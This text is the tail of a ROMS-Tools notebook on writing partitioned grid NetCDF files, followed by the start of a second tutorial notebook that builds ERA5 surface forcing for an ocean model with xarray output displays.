"/glade/derecho/scratch/noraloose/examples/my_grid.3.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.4.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.5.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.6.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.7.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.8.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.9.nc\n" ] } ], "source": [ "partition_netcdf(filepath, np_eta=2, np_xi=5)" ] }, { "cell_type": "markdown", "id": "710fee39-f7e3-42ec-a626-b07ffeeb5e72", "metadata": {}, "source": [ "## Creating partitioned files directly" ] }, { "cell_type": "markdown", "id": "42d95865-b527-44d5-a3dd-cf7bc7ccdf70", "metadata": {}, "source": [ "Instead of first saving a global file and then partitioning the written NetCDF file, we can also tell `ROMS-Tools` to write partitioned files directly. This will skip writing the global file." ] }, { "cell_type": "code", "execution_count": 7, "id": "ca08a3a8-719f-4f64-942a-234d0064400d", "metadata": {}, "outputs": [], "source": [ "grid = Grid(\n", " nx=100, ny=100, size_x=1800, size_y=2400, center_lon=-21, center_lat=61, rot=20\n", ")" ] }, { "cell_type": "code", "execution_count": 8, "id": "55fca526-ad69-46d4-bcec-7fde111510b7", "metadata": {}, "outputs": [], "source": [ "filepath = \"/glade/derecho/scratch/noraloose/examples/my_grid.nc\"" ] }, { "cell_type": "code", "execution_count": 9, "id": "45cf6192-e13f-401f-9c78-ad23e00b1473", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Saving the following files:\n", "/glade/derecho/scratch/noraloose/examples/my_grid.0.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.1.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.2.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.3.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.4.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.5.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.6.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.7.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.8.nc\n", "/glade/derecho/scratch/noraloose/examples/my_grid.9.nc\n" ] } ], "source": [ "grid.save(filepath, np_eta=2, np_xi=5)" ] }, { "cell_type": "code", "execution_count": null, "id": "15e2828b-1a4a-436c-82b7-3fc2539c5ac9", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python [conda env:romstools]", "language": "python", "name": "conda-env-romstools-py" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.12.4" } }, "nbformat": 4, "nbformat_minor": 5 }
6,586
Python
.py
235
23.710638
232
0.616281
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,731
surface_forcing.ipynb
CWorthy-ocean_roms-tools/docs/surface_forcing.ipynb
{ "cells": [ { "cell_type": "markdown", "id": "92a7b10b-1698-4290-b0c4-ea8852c39a1b", "metadata": {}, "source": [ "# Creating surface forcing" ] }, { "cell_type": "code", "execution_count": 1, "id": "75577358-2fd7-46ad-8c3a-f617aabb960f", "metadata": { "tags": [] }, "outputs": [], "source": [ "from roms_tools import Grid, SurfaceForcing" ] }, { "cell_type": "markdown", "id": "f6338e0b-7858-4121-a2ee-7550e639607b", "metadata": {}, "source": [ "As always, the first step is to create our grid. Note that it is important to use the same grid throughout all the steps (i.e., creating tidal forcing, surface forcing, initial conditions, etc.) to set up a consistent ROMS simulation. Here we use the following grid." ] }, { "cell_type": "code", "execution_count": 2, "id": "18a83c0f-5c06-4d32-a7cb-58c273911f35", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid = Grid(\n", " nx=100, ny=100, size_x=2000, size_y=2400, center_lon=-18, center_lat=33, rot=-20\n", ")" ] }, { "cell_type": "markdown", "id": "85fe44b3-0174-4539-9fac-6de8ae99df3d", "metadata": {}, "source": [ "Next, we specify the temporal range that we want to make the surface forcing for." ] }, { "cell_type": "code", "execution_count": 3, "id": "f2c00d33-5593-4aa6-8b1a-5db7c4b5da25", "metadata": { "tags": [] }, "outputs": [], "source": [ "from datetime import datetime" ] }, { "cell_type": "code", "execution_count": 4, "id": "14a4523d-8f19-4bbf-bc67-b891e6f77d3a", "metadata": { "tags": [] }, "outputs": [], "source": [ "start_time = datetime(2012, 1, 15)\n", "end_time = datetime(2012, 2, 5)" ] }, { "cell_type": "markdown", "id": "c41242c2-1b71-4568-a14e-2da7b86475e4", "metadata": {}, "source": [ "`ROMS-Tools` can create two types of surface forcing:\n", "\n", "* physical surface forcing like 10m wind, shortwave radiation, and air temperature at 2m\n", "* biogeochemical (BGC) surface forcing like atmospheric pCO2\n", "\n", "Unlike initial conditions data, ROMS can read multiple surface forcing files, so we create these two types separately in the following sections." ] }, { "cell_type": "markdown", "id": "2966bd87-da90-4286-9181-94b1df4955ff", "metadata": {}, "source": [ "## Physical surface forcing" ] }, { "cell_type": "markdown", "id": "b15c1130-991c-459a-bbf2-66366dd85a6c", "metadata": {}, "source": [ "In this section, we use ERA5 data to create our physical surface forcing. The user is expected to have downloaded the ERA5 data spanning the desired ROMS domain and temporal range from the [Copernicus Climate Data Store](https://cds.climate.copernicus.eu/cdsapp#!/dataset/reanalysis-era5-single-levels?tab=form). Our downloaded data sits at the following location." ] }, { "cell_type": "code", "execution_count": 5, "id": "38d08d04-b33d-4961-9913-ea9b1e4f1d5e", "metadata": { "tags": [] }, "outputs": [], "source": [ "path = \"/global/cfs/projectdirs/m4746/Datasets/ERA5/NA/2012/ERA5*.nc\"" ] }, { "cell_type": "markdown", "id": "fb2d9e62-b705-4bb6-99d9-19443bbcb388", "metadata": {}, "source": [ "We now create an instance of the `SurfaceForcing` class with `type = \"physics\"`." ] }, { "cell_type": "code", "execution_count": 6, "id": "d911852a-27f1-4d77-858d-adff16c9e403", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 1min 21s, sys: 295 ms, total: 1min 21s\n", "Wall time: 6.03 s\n" ] } ], "source": [ "%%time\n", "surface_forcing = SurfaceForcing(\n", " grid=grid,\n", " start_time=start_time,\n", " end_time=end_time,\n", " source={\"name\": \"ERA5\", \"path\": path},\n", " type=\"physics\", # \"physics\" or \"bgc\"; default is \"physics\"\n", " use_dask=True, # default is False\n", ")" ] }, { "cell_type": "markdown", "id": "fb7fe9ae-4932-4679-bf39-451cc25dd548", "metadata": {}, "source": [ "The surface forcing variables are held in an `xarray.Dataset` that is accessible via the `.ds` property." ] }, { "cell_type": "code", "execution_count": 7, "id": "0e3f6c1b-5bfe-432c-8a63-d509c284777a", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 17c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "<path d=\"M16 26c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "</symbol>\n", "<symbol id=\"icon-file-text2\" viewBox=\"0 0 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"}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 147MB\n", "Dimensions: (time: 505, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " vwnd (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " swrad (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " lwrad (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " Tair (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " qair (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " rain (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: False\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-c8554830-0cd5-489b-ac2a-5689a2e3394a' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-c8554830-0cd5-489b-ac2a-5689a2e3394a' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>time</span>: 505</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-aba3813b-4604-42e9-b38d-32d52fe23908' class='xr-section-summary-in' type='checkbox' checked><label for='section-aba3813b-4604-42e9-b38d-32d52fe23908' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-15 ... 2012-02-05</div><input id='attrs-58088272-eabe-4d73-a450-98d249815221' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-58088272-eabe-4d73-a450-98d249815221' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a5b8c310-c3f6-4596-9f32-6b8b751cba72' class='xr-var-data-in' type='checkbox'><label for='data-a5b8c310-c3f6-4596-9f32-6b8b751cba72' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-15T00:00:00.000000000&#x27;, &#x27;2012-01-15T01:00:00.000000000&#x27;,\n", " &#x27;2012-01-15T02:00:00.000000000&#x27;, ..., &#x27;2012-02-04T22:00:00.000000000&#x27;,\n", " &#x27;2012-02-04T23:00:00.000000000&#x27;, &#x27;2012-02-05T00:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.397e+03 4.397e+03 ... 4.418e+03</div><input id='attrs-2328fdb0-c8f5-4121-8c91-b1fce6b52e38' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-2328fdb0-c8f5-4121-8c91-b1fce6b52e38' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-729ad6d3-fb0b-4b37-9343-01682f4e48da' class='xr-var-data-in' type='checkbox'><label for='data-729ad6d3-fb0b-4b37-9343-01682f4e48da' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-e17103cd-2235-4e95-b47e-1abe336db068' class='xr-section-summary-in' type='checkbox' checked><label for='section-e17103cd-2235-4e95-b47e-1abe336db068' class='xr-section-summary' >Data variables: <span>(7)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>uwnd</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-0949193e-f91c-4804-9631-2f4ae2aa9111' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-0949193e-f91c-4804-9631-2f4ae2aa9111' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ce247c99-f058-4dc2-a34d-5f7a81070b7f' class='xr-var-data-in' type='checkbox'><label for='data-ce247c99-f058-4dc2-a34d-5f7a81070b7f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in x-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" 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repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in y-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-8f5c572f-0e79-4f33-9f3d-6788f64e4ab0' class='xr-var-data-in' type='checkbox'><label for='data-8f5c572f-0e79-4f33-9f3d-6788f64e4ab0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>downward short-wave (solar) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " 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meta=np.ndarray&gt;</div><input id='attrs-6fad1a07-447e-4288-be5a-42daaf144c65' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-6fad1a07-447e-4288-be5a-42daaf144c65' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4bc9ce75-479a-408c-a3f5-45cdcc90f9af' class='xr-var-data-in' type='checkbox'><label for='data-4bc9ce75-479a-408c-a3f5-45cdcc90f9af' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>downward long-wave (thermal) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", 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class='xr-var-name'><span>Tair</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-d101608a-c956-4f09-b74d-404d95482b4e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d101608a-c956-4f09-b74d-404d95482b4e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-bd54d373-4455-47a6-a846-f20a12b4b892' class='xr-var-data-in' type='checkbox'><label for='data-bd54d373-4455-47a6-a846-f20a12b4b892' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>air temperature at 2m</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", 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class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>absolute humidity at 2m</dd><dt><span>units :</span></dt><dd>kg/kg</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 150 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- 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class='xr-var-data-in' type='checkbox'><label for='data-7e17dffa-a5e6-4395-a1e8-7bb4d7515d8a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>total precipitation</dd><dt><span>units :</span></dt><dd>cm/day</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td 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80.58823529411765,112.63965770603622\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"101.613947\" y=\"132.639658\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"142.639658\" y=\"91.613947\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,142.639658,91.613947)\">102</text>\n", " <text x=\"35.294118\" y=\"97.345540\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li></ul></div></li><li class='xr-section-item'><input id='section-e98c65c3-e3ac-4159-a97e-14814b37034a' class='xr-section-summary-in' type='checkbox' ><label for='section-e98c65c3-e3ac-4159-a97e-14814b37034a' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-fafa68bc-ee91-43e8-9430-f21757f67d3a' class='xr-index-data-in' type='checkbox'/><label for='index-fafa68bc-ee91-43e8-9430-f21757f67d3a' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([ 4397.0, 4397.041666666667, 4397.083333333334,\n", " 4397.125, 4397.166666666667, 4397.208333333334,\n", " 4397.25, 4397.291666666667, 4397.333333333334,\n", " 4397.375,\n", " ...\n", " 4417.625, 4417.666666666667, 4417.708333333333,\n", " 4417.75, 4417.791666666667, 4417.833333333333,\n", " 4417.875, 4417.916666666667, 4417.958333333333,\n", " 4418.0],\n", " dtype=&#x27;float64&#x27;, name=&#x27;time&#x27;, length=505))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-439f949d-2859-4c7f-8ce1-94093de22883' class='xr-section-summary-in' type='checkbox' checked><label for='section-439f949d-2859-4c7f-8ce1-94093de22883' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS surface forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-15 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-02-05 00:00:00</dd><dt><span>source :</span></dt><dd>ERA5</dd><dt><span>correct_radiation :</span></dt><dd>False</dd><dt><span>use_coarse_grid :</span></dt><dd>False</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>type :</span></dt><dd>physics</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 147MB\n", "Dimensions: (time: 505, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " vwnd (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " swrad (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " lwrad (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " Tair (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " qair (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " rain (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: False\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "surface_forcing.ds" ] }, { "cell_type": "markdown", "id": "4bcb2803-5372-4e56-b873-7450570d623d", "metadata": {}, "source": [ "All physical surface forcing fields necessary to run a ROMS simulation are now contained as `dask.arrays` within an `xarray.Dataset`. All data operations are performed lazily, meaning that the surface forcing fields have not been actually computed yet. Full computation will not be triggered until the `.save` method is called.\n", "\n", "`ROMS-Tools` has found 505 time stamps within our specified time range. Let's double-check that `ROMS-Tools` has selected the correct times." ] }, { "cell_type": "code", "execution_count": 8, "id": "68a9c9fa-871a-4608-8e32-5f6fa38d7a8f", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 17c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "<path d=\"M16 26c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "</symbol>\n", "<symbol id=\"icon-file-text2\" viewBox=\"0 0 32 32\">\n", "<path d=\"M28.681 7.159c-0.694-0.947-1.662-2.053-2.724-3.116s-2.169-2.030-3.116-2.724c-1.612-1.182-2.393-1.319-2.841-1.319h-15.5c-1.378 0-2.5 1.121-2.5 2.5v27c0 1.378 1.122 2.5 2.5 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grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: 